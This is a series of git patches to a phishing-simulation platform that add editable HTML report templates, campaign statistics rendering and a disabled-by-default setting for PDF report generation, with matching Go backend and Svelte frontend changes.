context.Context, + id *uuid.UUID, +) error { + result := r.DB.Delete(&database.ReportTemplate{}, id) + if result.Error != nil { + return result.Error + } + return nil +} + +// ToReportTemplate converts a database row to a model +func ToReportTemplate(row *database.ReportTemplate) (*model.ReportTemplate, error) { + id := nullable.NewNullableWithValue(*row.ID) + companyID := nullable.NewNullNullable[uuid.UUID]() + if row.CompanyID != nil { + companyID.Set(*row.CompanyID) + } + c, err := vo.NewOptionalString1MB(row.Content) + if err != nil { + return nil, errs.Wrap(err) + } + content := nullable.NewNullableWithValue(*c) + return &model.ReportTemplate{ + ID: id, + CreatedAt: row.CreatedAt, + UpdatedAt: row.UpdatedAt, + CompanyID: companyID, + Content: content, + }, nil +} diff --git a/backend/seed/migrate.go b/backend/seed/migrate.go index cb5363c..30930b8 100644 --- a/backend/seed/migrate.go +++ b/backend/seed/migrate.go @@ -59,6 +59,7 @@ func initialInstallAndSeed( &database.OAuthState{}, &database.MicrosoftDeviceCode{}, &database.RemoteBrowser{}, + &database.ReportTemplate{}, } // disable foreign key constraints temporarily for sqlite to allow table recreation @@ -129,6 +130,13 @@ func initialInstallAndSeed( errors.Errorf("failed to seed identifiers: %w", err), ) } + // seed default report template + err = SeedReportTemplate(db) + if err != nil { + return errs.Wrap( + errors.Errorf("failed to seed report template: %w", err), + ) + } // run data migrations (idempotent - safe to run on every startup) err = migrate(db) if err != nil { diff --git a/backend/seed/reportTemplate.go b/backend/seed/reportTemplate.go new file mode 100644 index 0000000..720ad82 --- /dev/null +++ b/backend/seed/reportTemplate.go @@ -0,0 +1,43 @@ +package seed + +import ( + "time" + + "github.com/google/uuid" + "github.com/phishingclub/phishingclub/database" + "github.com/phishingclub/phishingclub/embedded" + "github.com/phishingclub/phishingclub/errs" + "gorm.io/gorm" +) + +// SeedReportTemplate inserts the default global report template if none exists. +// The seeded template can be freely edited through the UI; this only runs when +// no global template (company_id IS NULL) is present in the database. +func SeedReportTemplate(db *gorm.DB) error { + var count int64 + res := db. + Model(&database.ReportTemplate{}). + Where("company_id IS NULL"). + Count(&count) + if res.Error != nil { + return errs.Wrap(res.Error) + } + if count > 0 { + return nil + } + + id := uuid.New() + now := time.Now().UTC() + row := &database.ReportTemplate{ + ID: &id, + CreatedAt: &now, + UpdatedAt: &now, + Content: embedded.DefaultReportHTML, + // CompanyID intentionally nil → global template + } + res = db.Create(row) + if res.Error != nil { + return errs.Wrap(res.Error) + } + return nil +} diff --git a/backend/service/campaign.go b/backend/service/campaign.go index f26b23d..16ad29d 100644 --- a/backend/service/campaign.go +++ b/backend/service/campaign.go @@ -58,6 +58,7 @@ type Campaign struct { MicrosoftDeviceCodeRepository *repository.MicrosoftDeviceCode AttachmentPath string RemoteBrowserService *RemoteBrowser + ReportTemplateRepository *repository.ReportTemplate TrustedProxies []string } @@ -5149,3 +5150,155 @@ func (c *Campaign) saveReportedEvent( } return nil } + +// BuildReportHTML renders a report HTML string for a campaign using the resolved +// report template (company-specific, then global, then built-in default). +func (c *Campaign) BuildReportHTML( + ctx context.Context, + session *model.Session, + campaignID *uuid.UUID, +) (htmlContent string, campaignName string, err error) { + ae := NewAuditEvent("Campaign.BuildReportHTML", session) + ae.Details["campaignId"] = campaignID.String() + isAuthorized, authErr := IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL) + if authErr != nil && !errors.Is(authErr, errs.ErrAuthorizationFailed) { + c.LogAuthError(authErr) + return "", "", errs.Wrap(authErr) + } + if !isAuthorized { + c.AuditLogNotAuthorized(ae) + return "", "", errs.ErrAuthorizationFailed + } + + campaign, err := c.CampaignRepository.GetByID(ctx, campaignID, &repository.CampaignOption{WithCompany: true}) + if err != nil { + return "", "", errs.Wrap(err) + } + + stats, err := c.CampaignRepository.GetResultStats(ctx, campaignID) + if err != nil { + c.Logger.Errorw("failed to get campaign result stats for report", "error", err) + return "", "", errs.Wrap(err) + } + + var companyID *uuid.UUID + if cid, cErr := campaign.CompanyID.Get(); cErr == nil { + companyID = &cid + } + + reportTmpl, tmplErr := c.ReportTemplateRepository.GetForCampaign(ctx, companyID) + if tmplErr != nil { + c.Logger.Errorw("failed to fetch report template", "error", tmplErr) + return "", "", errs.Wrap(tmplErr) + } + templateContentVO, cErr := reportTmpl.Content.Get() + if cErr != nil { + return "", "", errs.Wrap(cErr) + } + templateContent := templateContentVO.String() + + name := "" + if n, nErr := campaign.Name.Get(); nErr == nil { + name = n.String() + } + companyName := "" + if campaign.Company != nil { + if n, nErr := campaign.Company.Name.Get(); nErr == nil { + companyName = n.String() + } + } + + // Only query per-recipient data for non-anonymous, non-anonymized campaigns + var recipients []model.ReportRecipient + isAnon, _ := campaign.IsAnonymous.Get() + isAnonymized := campaign.AnonymizedAt.IsSpecified() && !campaign.AnonymizedAt.IsNull() + if !isAnon && !isAnonymized { + recipients, err = c.CampaignRepository.GetReportRecipients(ctx, campaignID) + if err != nil { + c.Logger.Warnw("failed to get report recipients, continuing without detail table", "error", err) + recipients = nil + } + } + + data := buildReportData(name, companyName, campaign, stats, recipients) + + var buf bytes.Buffer + tmpl, err := template.New("report").Funcs(TemplateFuncs()).Parse(templateContent) + if err != nil { + c.Logger.Errorw("failed to parse report template", "error", err) + return "", "", errs.Wrap(err) + } + if err := tmpl.Execute(&buf, data); err != nil { + c.Logger.Errorw("failed to execute report template", "error", err) + return "", "", errs.Wrap(err) + } + // no audit on read + return buf.String(), name, nil +} + +func buildReportData( + campaignName string, + companyName string, + campaign *model.Campaign, + stats *model.CampaignResultView, + recipients []model.ReportRecipient, +) *model.ReportData { + total := stats.Recipients + rate := func(count int64) float64 { + if total == 0 { + return 0 + } + return float64(count) / float64(total) * 100 + } + pct := func(count int64) string { + return fmt.Sprintf("%.0f", rate(count)) + } + relPct := func(numerator, denominator int64) string { + if denominator == 0 { + return "0" + } + return fmt.Sprintf("%.0f", float64(numerator)/float64(denominator)*100) + } + formatDate := func(t *time.Time) string { + if t == nil { + return "" + } + return t.Format("2006-01-02") + } + var startDate, endDate, closedAt string + if v, err := campaign.SendStartAt.Get(); err == nil { + startDate = formatDate(&v) + } + if v, err := campaign.SendEndAt.Get(); err == nil { + endDate = formatDate(&v) + } + if v, err := campaign.ClosedAt.Get(); err == nil { + closedAt = formatDate(&v) + } + return &model.ReportData{ + CampaignName: campaignName, + CompanyName: companyName, + ReportDate: time.Now().Format("January 2, 2006"), + CampaignStartDate: startDate, + CampaignEndDate: endDate, + CampaignClosedAt: closedAt, + TotalTargets: stats.Recipients, + EmailsSent: stats.EmailsSent, + EmailsOpened: stats.TrackingPixelLoaded, + ResultClicked: stats.WebsiteLoaded, + ResultSubmitted: stats.SubmittedData, + ResultReported: stats.Reported, + ResultClickedPercent: pct(stats.WebsiteLoaded), + ResultSubmittedPercent: pct(stats.SubmittedData), + ResultReportedPercent: pct(stats.Reported), + SentRate: rate(stats.EmailsSent), + OpenRate: rate(stats.TrackingPixelLoaded), + ClickRate: rate(stats.WebsiteLoaded), + SubmitRate: rate(stats.SubmittedData), + ReportRate: rate(stats.Reported), + OpenedOfSent: relPct(stats.TrackingPixelLoaded, stats.EmailsSent), + ClickedOfOpened: relPct(stats.WebsiteLoaded, stats.TrackingPixelLoaded), + SubmittedOfClicked: relPct(stats.SubmittedData, stats.WebsiteLoaded), + Recipients: recipients, + } +} diff --git a/backend/service/reportTemplate.go b/backend/service/reportTemplate.go new file mode 100644 index 0000000..49cc273 --- /dev/null +++ b/backend/service/reportTemplate.go @@ -0,0 +1,177 @@ +package service + +import ( + "context" + "errors" + + "github.com/google/uuid" + "github.com/phishingclub/phishingclub/data" + "github.com/phishingclub/phishingclub/errs" + "github.com/phishingclub/phishingclub/model" + "github.com/phishingclub/phishingclub/remotebrowser" + "github.com/phishingclub/phishingclub/repository" + "gorm.io/gorm" +) + +// ReportTemplate is the report template service +type ReportTemplate struct { + Common + ReportTemplateRepository *repository.ReportTemplate +} + +// Create creates a report template +func (s *ReportTemplate) Create( + ctx context.Context, + session *model.Session, + tmpl *model.ReportTemplate, +) (*uuid.UUID, error) { + ae := NewAuditEvent("ReportTemplate.Create", session) + isAuthorized, err := IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL) + if err != nil && !errors.Is(err, errs.ErrAuthorizationFailed) { + s.LogAuthError(err) + return nil, errs.Wrap(err) + } + if !isAuthorized { + s.AuditLogNotAuthorized(ae) + return nil, errs.ErrAuthorizationFailed + } + if err := tmpl.Validate(); err != nil { + s.Logger.Errorw("failed to validate report template", "error", err) + return nil, errs.Wrap(err) + } + id, err := s.ReportTemplateRepository.Insert(ctx, tmpl) + if err != nil { + s.Logger.Errorw("failed to insert report template", "error", err) + return nil, errs.Wrap(err) + } + s.AuditLogAuthorized(ae) + return id, nil +} + +// GetByID gets a report template by id +func (s *ReportTemplate) GetByID( + ctx context.Context, + session *model.Session, + id *uuid.UUID, +) (*model.ReportTemplate, error) { + ae := NewAuditEvent("ReportTemplate.GetByID", session) + ae.Details["id"] = id.String() + isAuthorized, err := IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL) + if err != nil && !errors.Is(err, errs.ErrAuthorizationFailed) { + s.LogAuthError(err) + return nil, errs.Wrap(err) + } + if !isAuthorized { + s.AuditLogNotAuthorized(ae) + return nil, errs.ErrAuthorizationFailed + } + tmpl, err := s.ReportTemplateRepository.GetByID(ctx, id, &repository.ReportTemplateOption{}) + if errors.Is(err, gorm.ErrRecordNotFound) { + return nil, errs.Wrap(err) + } + if err != nil { + s.Logger.Errorw("failed to get report template by ID", "error", err) + return nil, errs.Wrap(err) + } + // no audit log on read + return tmpl, nil +} + +// GetAll gets report templates +func (s *ReportTemplate) GetAll( + ctx context.Context, + session *model.Session, + companyID *uuid.UUID, + options *repository.ReportTemplateOption, +) (*model.Result[model.ReportTemplate], error) { + ae := NewAuditEvent("ReportTemplate.GetAll", session) + isAuthorized, err := IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL) + if err != nil && !errors.Is(err, errs.ErrAuthorizationFailed) { + s.LogAuthError(err) + return nil, errs.Wrap(err) + } + if !isAuthorized { + s.AuditLogNotAuthorized(ae) + return nil, errs.ErrAuthorizationFailed + } + result, err := s.ReportTemplateRepository.GetAll(ctx, companyID, options) + if err != nil { + s.Logger.Errorw("failed to get report templates", "error", err) + return nil, errs.Wrap(err) + } + // no audit log on read + return result, nil +} + +// UpdateByID updates a report template +func (s *ReportTemplate) UpdateByID( + ctx context.Context, + session *model.Session, + id *uuid.UUID, + tmpl *model.ReportTemplate, +) error { + ae := NewAuditEvent("ReportTemplate.UpdateByID", session) + ae.Details["id"] = id.String() + isAuthorized, err := IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL) + if err != nil && !errors.Is(err, errs.ErrAuthorizationFailed) { + s.LogAuthError(err) + return errs.Wrap(err) + } + if !isAuthorized { + s.AuditLogNotAuthorized(ae) + return errs.ErrAuthorizationFailed + } + if err := s.ReportTemplateRepository.UpdateByID(ctx, id, tmpl); err != nil { + s.Logger.Errorw("failed to update report template", "error", err) + return errs.Wrap(err) + } + s.AuditLogAuthorized(ae) + return nil +} + +// WipeBrowserCache removes the auto-downloaded Chromium binary used for PDF generation. +func (s *ReportTemplate) WipeBrowserCache( + session *model.Session, +) error { + ae := NewAuditEvent("ReportTemplate.WipeBrowserCache", session) + isAuthorized, err := IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL) + if err != nil && !errors.Is(err, errs.ErrAuthorizationFailed) { + s.LogAuthError(err) + return errs.Wrap(err) + } + if !isAuthorized { + s.AuditLogNotAuthorized(ae) + return errs.ErrAuthorizationFailed + } + if err := remotebrowser.WipeBrowserCache(); err != nil { + s.Logger.Errorw("failed to wipe browser cache", "error", err) + return errs.Wrap(err) + } + s.AuditLogAuthorized(ae) + return nil +} + +// DeleteByID deletes a report template +func (s *ReportTemplate) DeleteByID( + ctx context.Context, + session *model.Session, + id *uuid.UUID, +) error { + ae := NewAuditEvent("ReportTemplate.DeleteByID", session) + ae.Details["id"] = id.String() + isAuthorized, err := IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL) + if err != nil && !errors.Is(err, errs.ErrAuthorizationFailed) { + s.LogAuthError(err) + return errs.Wrap(err) + } + if !isAuthorized { + s.AuditLogNotAuthorized(ae) + return errs.ErrAuthorizationFailed + } + if err := s.ReportTemplateRepository.DeleteByID(ctx, id); err != nil { + s.Logger.Errorw("failed to delete report template", "error", err) + return errs.Wrap(err) + } + s.AuditLogAuthorized(ae) + return nil +} diff --git a/backend/service/templateService.go b/backend/service/templateService.go index 802b236..b5e8dec 100644 --- a/backend/service/templateService.go +++ b/backend/service/templateService.go @@ -690,6 +690,9 @@ func TemplateFuncs() template.FuncMap { "base64": func(s string) string { return base64.StdEncoding.EncodeToString([]byte(s)) }, + "mul": func(a, b float64) float64 { + return a * b + }, // MicrosoftDeviceCode is a no-op stub used during template validation; it is replaced with // a live implementation via TemplateFuncsWithDeviceCode when rendering for real recipients. "MicrosoftDeviceCode": func(args ...string) (string, error) { diff --git a/frontend/src/lib/api/api.js b/frontend/src/lib/api/api.js index 0fe6b4d..67dd0e0 100644 --- a/frontend/src/lib/api/api.js +++ b/frontend/src/lib/api/api.js @@ -496,6 +496,14 @@ export class API { window.open(this.getPath(`/campaign/${campaignID}/export/submissions`), '_blank'); }, + /** + * Generate a PDF report for a campaign + * @param {string} campaignID + */ + generateReport: async (campaignID) => { + window.open(this.getPath(`/campaign/${campaignID}/report`), '_blank'); + }, + /** * * @param {object} campaign @@ -3392,6 +3400,31 @@ export class API { } }; + /** + * reportTemplate manages global and per-company report templates + */ + reportTemplate = { + getAll: async (companyID) => { + const params = companyID ? `?companyID=${companyID}` : ''; + return await getJSON(this.getPath(`/report-template${params}`)); + }, + getByID: async (id) => { + return await getJSON(this.getPath(`/report-template/${id}`)); + }, + create: async (data) => { + return await postJSON(this.getPath('/report-template'), data); + }, + update: async (id, data) => { + return await patchJSON(this.getPath(`/report-template/${id}`), data); + }, + delete: async (id) => { + return await deleteJSON(this.getPath(`/report-template/${id}`)); + }, + wipeBrowserCache: async () => { + return await deleteJSON(this.getPath('/report-pdf/browser-cache')); + } + }; + /** * import is for importing assets, landing pages and etc */ diff --git a/frontend/src/lib/components/editor/Editor.svelte b/frontend/src/lib/components/editor/Editor.svelte index 603acc2..ac5ed97 100644 --- a/frontend/src/lib/components/editor/Editor.svelte +++ b/frontend/src/lib/components/editor/Editor.svelte @@ -76,7 +76,8 @@ { label: 'Random alphanumeric', text: '{{randAlpha 8}}' }, { label: 'Random number', text: '{{randInt 1 4}}' }, { label: 'Date', text: '{{date "Y-m-d H:i:s" 0}}' }, - { label: 'Base64', text: '{{base64 "text"}}' } + { label: 'Base64', text: '{{base64 "text"}}' }, + { label: 'Multiply', text: '{{mul 1.0 1.0}}' } ] }; @@ -89,7 +90,7 @@ $: computedTemplates = (() => { const result = { ...templates }; - if ($displayMode === DISPLAY_MODE.BLACKBOX) { + if ($displayMode === DISPLAY_MODE.BLACKBOX && contentType !== 'report') { result['Device Code'] = deviceCodeTemplates; } if ($displayMode === DISPLAY_MODE.BLACKBOX && contentType === 'page') { @@ -98,6 +99,27 @@ return result; })(); + const reportTemplates = [ + { label: 'Campaign Name', text: '{{.CampaignName}}' }, + { label: 'Company Name', text: '{{.CompanyName}}' }, + { label: 'Report Date', text: '{{.ReportDate}}' }, + { label: 'Start Date', text: '{{.CampaignStartDate}}' }, + { label: 'End Date', text: '{{.CampaignEndDate}}' }, + { label: 'Closed At', text: '{{.CampaignClosedAt}}' }, + { label: 'Total Targets', text: '{{.TotalTargets}}' }, + { label: 'Emails Sent', text: '{{.EmailsSent}}' }, + { label: 'Emails Opened', text: '{{.EmailsOpened}}' }, + { label: 'Clicked (count)', text: '{{.ResultClicked}}' }, + { label: 'Clicked (% of total)', text: '{{.ResultClickedPercent}}' }, + { label: 'Submitted (count)', text: '{{.ResultSubmitted}}' }, + { label: 'Submitted (% of total)', text: '{{.ResultSubmittedPercent}}' }, + { label: 'Reported (count)', text: '{{.ResultReported}}' }, + { label: 'Reported (% of total)', text: '{{.ResultReportedPercent}}' }, + { label: 'Opened of sent (%)', text: '{{.OpenedOfSent}}' }, + { label: 'Clicked of opened (%)', text: '{{.ClickedOfOpened}}' }, + { label: 'Submitted of clicked (%)', text: '{{.SubmittedOfClicked}}' } + ]; + switch (contentType) { case 'domain': { delete templates['Email']; @@ -109,6 +131,13 @@ templates['URLs & Tracking'] = [...templates['URLs & Tracking'], ...emailTemplates]; break; } + case 'report': { + delete templates['Email']; + delete templates['Recipient']; + delete templates['URLs & Tracking']; + templates['Campaign'] = reportTemplates; + break; + } } const insertTemplate = (text) => { @@ -677,22 +706,24 @@ {/each} - - + + {#if contentType !== 'report'} + + {/if}
@@ -2212,7 +2230,10 @@ crID={streamCRID} controlMode={streamControlMode} email={streamEmail} - on:closed={() => { streamModalVisible = false; refreshLiveSessions(); }} + on:closed={() => { + streamModalVisible = false; + refreshLiveSessions(); + }} /> onClickDeleteEvent(deleteEventValues.id)} bind:isVisible={isDeleteEventAlertVisible} /> + +
+ Generate a PDF report for {campaign?.name}.
The report will download + automatically. +
+
diff --git a/frontend/src/routes/company/+page.svelte b/frontend/src/routes/company/+page.svelte index cea798a..26969bf 100644 --- a/frontend/src/routes/company/+page.svelte +++ b/frontend/src/routes/company/+page.svelte @@ -22,6 +22,8 @@ import DeleteAlert from '$lib/components/modal/DeleteAlert.svelte'; import TableDropDownButton from '$lib/components/table/TableDropDownButton.svelte'; import Alert from '$lib/components/Alert.svelte'; + import Editor from '$lib/components/editor/Editor.svelte'; + import FormGrid from '$lib/components/FormGrid.svelte'; // bindings let form = null; @@ -55,6 +57,13 @@ let isExportSharedModalVisible = false; let exportCompany = null; + let isCompanyReportTemplateModalVisible = false; + let companyReportTemplateContent = ''; + let companyReportTemplateID = null; + let companyReportTemplateError = ''; + let isCompanyReportTemplateSubmitting = false; + let activeReportTemplateCompany = null; + $: { modalText = modalMode === 'create' ? 'New company' : 'Update company'; } @@ -318,6 +327,90 @@ hideIsLoading(); } }; + + const openCompanyReportTemplateModal = async (company) => { + activeReportTemplateCompany = company; + companyReportTemplateContent = ''; + companyReportTemplateID = null; + companyReportTemplateError = ''; + try { + showIsLoading(); + const response = await api.reportTemplate.getAll(company.id); + if (response.success && response.data?.rows?.length > 0) { + const tmpl = response.data.rows[0]; + companyReportTemplateContent = tmpl.content || ''; + companyReportTemplateID = tmpl.id || null; + } + } catch (error) { + console.error('Failed to load company report template:', error); + companyReportTemplateError = 'Failed to load template'; + } finally { + hideIsLoading(); + isCompanyReportTemplateModalVisible = true; + } + }; + + const closeCompanyReportTemplateModal = () => { + isCompanyReportTemplateModalVisible = false; + activeReportTemplateCompany = null; + companyReportTemplateError = ''; + }; + + const onSubmitCompanyReportTemplate = async (event) => { + const saveOnly = event?.detail?.saveOnly || false; + isCompanyReportTemplateSubmitting = true; + companyReportTemplateError = ''; + try { + let response; + if (companyReportTemplateID) { + response = await api.reportTemplate.update(companyReportTemplateID, { + content: companyReportTemplateContent + }); + } else { + response = await api.reportTemplate.create({ + content: companyReportTemplateContent, + companyID: activeReportTemplateCompany.id + }); + if (response.success && response.data?.id) { + companyReportTemplateID = response.data.id; + } + } + if (response.success) { + addToast('Report template saved', 'Success'); + if (!saveOnly) { + isCompanyReportTemplateModalVisible = false; + } + } else { + companyReportTemplateError = response.error || 'Failed to save template'; + } + } catch (error) { + console.error('Failed to save company report template:', error); + companyReportTemplateError = 'Failed to save template'; + } finally { + isCompanyReportTemplateSubmitting = false; + } + }; + + const onDeleteCompanyReportTemplate = async () => { + if (!companyReportTemplateID) return; + isCompanyReportTemplateSubmitting = true; + try { + const response = await api.reportTemplate.delete(companyReportTemplateID); + if (response.success) { + addToast('Report template deleted', 'Success'); + companyReportTemplateID = null; + companyReportTemplateContent = ''; + isCompanyReportTemplateModalVisible = false; + } else { + companyReportTemplateError = response.error || 'Failed to delete template'; + } + } catch (error) { + console.error('Failed to delete company report template:', error); + companyReportTemplateError = 'Failed to delete template'; + } finally { + isCompanyReportTemplateSubmitting = false; + } + }; @@ -359,6 +452,10 @@ name="Custom Stats" on:click={() => goto(`/company/${company.id}/stats`)} /> + openCompanyReportTemplateModal(company)} + /> openDeleteAlert(company)} /> @@ -546,4 +643,44 @@

+ + {#if isCompanyReportTemplateModalVisible} + + +
+ + + {#if companyReportTemplateID} +
+ +
+ {/if} +
+ +
+
+ {/if} diff --git a/frontend/src/routes/settings/+page.svelte b/frontend/src/routes/settings/+page.svelte index 44a8f7a..d28db3b 100644 --- a/frontend/src/routes/settings/+page.svelte +++ b/frontend/src/routes/settings/+page.svelte @@ -18,6 +18,7 @@ import TextField from '$lib/components/TextField.svelte'; import TextFieldSelect from '$lib/components/TextFieldSelect.svelte'; import SimpleCodeEditor from '$lib/components/editor/SimpleCodeEditor.svelte'; + import Editor from '$lib/components/editor/Editor.svelte'; import { AppStateService } from '$lib/service/appState'; import { hideIsLoading, showIsLoading } from '$lib/store/loading'; import { addToast } from '$lib/store/toast'; @@ -91,6 +92,14 @@ let obfuscationTemplateError = ''; let isObfuscationTemplateSubmitting = false; + // report template editor + let isReportTemplateModalVisible = false; + let reportTemplateContent = ''; + let reportTemplateID = null; + let reportTemplateError = ''; + let isReportTemplateSubmitting = false; + let isWipingBrowserCache = false; + $: { isCompanyContext = appState.isCompanyContext(); importForCompany = isCompanyContext; @@ -569,6 +578,78 @@ isObfuscationTemplateSubmitting = false; } }; + + const openReportTemplateModal = async () => { + try { + showIsLoading(); + reportTemplateContent = ''; + reportTemplateID = null; + reportTemplateError = ''; + const response = await api.reportTemplate.getAll(null); + if (response.success && response.data?.rows?.length > 0) { + const tmpl = response.data.rows[0]; + reportTemplateContent = tmpl.content || ''; + reportTemplateID = tmpl.id || null; + } + } catch (error) { + console.error('Failed to load report template:', error); + reportTemplateError = 'Failed to load template'; + } finally { + hideIsLoading(); + isReportTemplateModalVisible = true; + } + }; + + const closeReportTemplateModal = () => { + isReportTemplateModalVisible = false; + reportTemplateError = ''; + }; + + const onWipeBrowserCache = async () => { + isWipingBrowserCache = true; + try { + const response = await api.reportTemplate.wipeBrowserCache(); + if (response.success) { + addToast('Browser cache wiped', 'Success'); + } else { + addToast(response.error || 'Failed to wipe browser cache', 'Error'); + } + } catch (e) { + addToast('Failed to wipe browser cache', 'Error'); + } finally { + isWipingBrowserCache = false; + } + }; + + const onSubmitReportTemplate = async (event) => { + const saveOnly = event?.detail?.saveOnly || false; + isReportTemplateSubmitting = true; + reportTemplateError = ''; + try { + let response; + if (reportTemplateID) { + response = await api.reportTemplate.update(reportTemplateID, { content: reportTemplateContent }); + } else { + response = await api.reportTemplate.create({ content: reportTemplateContent }); + if (response.success && response.data?.id) { + reportTemplateID = response.data.id; + } + } + if (response.success) { + addToast('Report template saved', 'Success'); + if (!saveOnly) { + isReportTemplateModalVisible = false; + } + } else { + reportTemplateError = response.error || 'Failed to save template'; + } + } catch (error) { + console.error('Failed to save report template:', error); + reportTemplateError = 'Failed to save template'; + } finally { + isReportTemplateSubmitting = false; + } + }; @@ -957,6 +1038,52 @@
+ + + {#if !isCompanyContext} +
+

+ Report Template +

+
+
+

+ Default HTML template used when generating campaign PDF reports. Companies without their own template fall back to this. +

+
+
+ +
+
+
+ {/if} + + +
+

+ Browser Cache +

+
+
+

+ Chromium is downloaded and cached for PDF reports and remote browser sessions. Wipe to force a fresh download. +

+
+
+ +
+
+
@@ -1397,4 +1524,32 @@ {/if} + + {#if isReportTemplateModalVisible} + + +
+ + +
+ +
+
+ {/if} From 3b322e44e0de245805ce06b7ef429f295a960b71 Mon Sep 17 00:00:00 2001 From: Ronni Skansing Date: Fri, 29 May 2026 19:16:17 +0200 Subject: [PATCH 45/78] add enable PDF generation setting Signed-off-by: Ronni Skansing --- README.md | 1 + backend/app/controllers.go | 1 + backend/controller/reportTemplate.go | 7 ++ backend/data/option.go | 2 + backend/seed/migrate.go | 22 +++++ backend/service/option.go | 7 ++ frontend/src/lib/api/api.js | 4 +- .../src/routes/campaign/[id]/+page.svelte | 25 ++++- frontend/src/routes/settings/+page.svelte | 98 +++++++++++++++++++ 9 files changed, 164 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 4c47feb..b88f56b 100644 --- a/README.md +++ b/README.md @@ -35,6 +35,7 @@ Phishing Club providers a lot of features for simulation and red teaming, here a - **Multiple domains** - Auto TLS, custom sites and asset management - **Advanced delivery** - SMTP configs or custom API Sender with OAuth support - **Recipient tracking** - Groups, CSV import, repeat offender metrics +- **Campaign reports** - PDF export with a customizable HTML template - **Analytics** - Timelines, dashboards, per-user event history - **Automation** - HMAC-signed webhooks, REST API, import/export - **Multi-tenancy** - Segregated client handling and statistics for service providers diff --git a/backend/app/controllers.go b/backend/app/controllers.go index bf1b31f..9afbb07 100644 --- a/backend/app/controllers.go +++ b/backend/app/controllers.go @@ -213,6 +213,7 @@ func NewControllers( Common: common, ReportTemplateService: services.ReportTemplate, CampaignService: services.Campaign, + OptionService: services.Option, ExecPath: conf.RemoteBrowser.ExecPath, } diff --git a/backend/controller/reportTemplate.go b/backend/controller/reportTemplate.go index 6c9878e..e4d0b90 100644 --- a/backend/controller/reportTemplate.go +++ b/backend/controller/reportTemplate.go @@ -5,6 +5,7 @@ import ( "strings" "github.com/gin-gonic/gin" + "github.com/phishingclub/phishingclub/data" "github.com/phishingclub/phishingclub/model" "github.com/phishingclub/phishingclub/remotebrowser" "github.com/phishingclub/phishingclub/repository" @@ -16,6 +17,7 @@ type ReportTemplate struct { Common ReportTemplateService *service.ReportTemplate CampaignService *service.Campaign + OptionService *service.Option ExecPath string } @@ -121,6 +123,11 @@ func (r *ReportTemplate) GeneratePDFByCampaignID(g *gin.Context) { if !ok { return } + opt, _ := r.OptionService.GetOptionWithoutAuth(g.Request.Context(), data.OptionKeyReportPDFEnabled) + if opt == nil || opt.Value.String() != "true" { + r.Response.NotFound(g) + return + } id, ok := r.handleParseIDParam(g) if !ok { return diff --git a/backend/data/option.go b/backend/data/option.go index f17fc32..0eb6028 100644 --- a/backend/data/option.go +++ b/backend/data/option.go @@ -37,6 +37,8 @@ const ( OptionKeyAutoPruneOrphanedRecipients = "auto_prune_orphaned_recipients" + OptionKeyReportPDFEnabled = "report_pdf_enabled" + OptionKeyObfuscationTemplate = "obfuscation_template" // OptionValueObfuscationTemplateDefault is the default HTML template for obfuscation // the template receives {{.Script}} variable containing the obfuscated javascript diff --git a/backend/seed/migrate.go b/backend/seed/migrate.go index 30930b8..d7d765d 100644 --- a/backend/seed/migrate.go +++ b/backend/seed/migrate.go @@ -426,6 +426,28 @@ func SeedSettings( } } } + { + // seed report PDF enabled (disabled by default) + id := uuid.New() + var c int64 + res := db. + Model(&database.Option{}). + Where("key = ?", data.OptionKeyReportPDFEnabled). + Count(&c) + if res.Error != nil { + return errs.Wrap(res.Error) + } + if c == 0 { + res = db.Create(&database.Option{ + ID: &id, + Key: data.OptionKeyReportPDFEnabled, + Value: "false", + }) + if res.Error != nil { + return errs.Wrap(res.Error) + } + } + } return nil } diff --git a/backend/service/option.go b/backend/service/option.go index 22c5ede..2e301b9 100644 --- a/backend/service/option.go +++ b/backend/service/option.go @@ -199,6 +199,13 @@ func (o *Option) SetOptionByKey( "value", ) } + case data.OptionKeyReportPDFEnabled: + if v != "true" && v != "false" { + return validate.WrapErrorWithField( + errs.NewValidationError(errors.New("invalid value")), + "value", + ) + } case data.OptionKeyObfuscationTemplate: // is allow listed default: diff --git a/frontend/src/lib/api/api.js b/frontend/src/lib/api/api.js index 67dd0e0..e986d0b 100644 --- a/frontend/src/lib/api/api.js +++ b/frontend/src/lib/api/api.js @@ -2302,7 +2302,7 @@ export class API { /** * Get setting by key. * - * @param {'is_installed'|'max_file_upload_size_mb'|'repeat_offender_months'|'sso_login'|'display_mode'|'obfuscation_template'} key + * @param {'is_installed'|'max_file_upload_size_mb'|'repeat_offender_months'|'sso_login'|'display_mode'|'obfuscation_template'|'report_pdf_enabled'} key * @returns {Promise} */ get: async (key) => { @@ -2333,7 +2333,7 @@ export class API { /** * Set setting by key and value. * - * @param {'max_file_upload_size_mb'|'repeat_offender_months'|'sso_login'|'display_mode'|'obfuscation_template'} key + * @param {'max_file_upload_size_mb'|'repeat_offender_months'|'sso_login'|'display_mode'|'obfuscation_template'|'report_pdf_enabled'} key * @param {string} value * @returns {Promise} */ diff --git a/frontend/src/routes/campaign/[id]/+page.svelte b/frontend/src/routes/campaign/[id]/+page.svelte index 1efcbf2..881b0c1 100644 --- a/frontend/src/routes/campaign/[id]/+page.svelte +++ b/frontend/src/routes/campaign/[id]/+page.svelte @@ -149,6 +149,7 @@ let isReportedCSVModalVisible = false; let isReportedCSVSubmitting = false; let isGenerateReportModalVisible = false; + let isReportPDFEnabled = false; let reportedCSVFile = null; let reportedCSVHeaders = []; let reportedCSVPreview = []; @@ -173,7 +174,7 @@ let lastPoll3399Nano = ''; // live remote browser sessions - /** @type {Map} */ + /** @type {Map} */ let liveSessions = new Map(); let liveSessionPollInterval = null; let streamModalVisible = false; @@ -191,6 +192,8 @@ } (async () => { + const pdfOpt = await api.option.get('report_pdf_enabled'); + isReportPDFEnabled = pdfOpt.success && pdfOpt.data?.value === 'true'; await refresh(); recipientTableUrlParams.onChange(refreshRecipients); eventsTableURLParams.onChange(refreshEvents); @@ -899,7 +902,13 @@ } }; + let isReportPDFDisabledModalVisible = false; + const onClickGenerateReport = () => { + if (!isReportPDFEnabled) { + isReportPDFDisabledModalVisible = true; + return; + } isGenerateReportModalVisible = true; }; @@ -2898,4 +2907,18 @@ automatically.
+ { + isReportPDFDisabledModalVisible = false; + return { success: true }; + }} + noCancel={true} + ok="OK" + > +
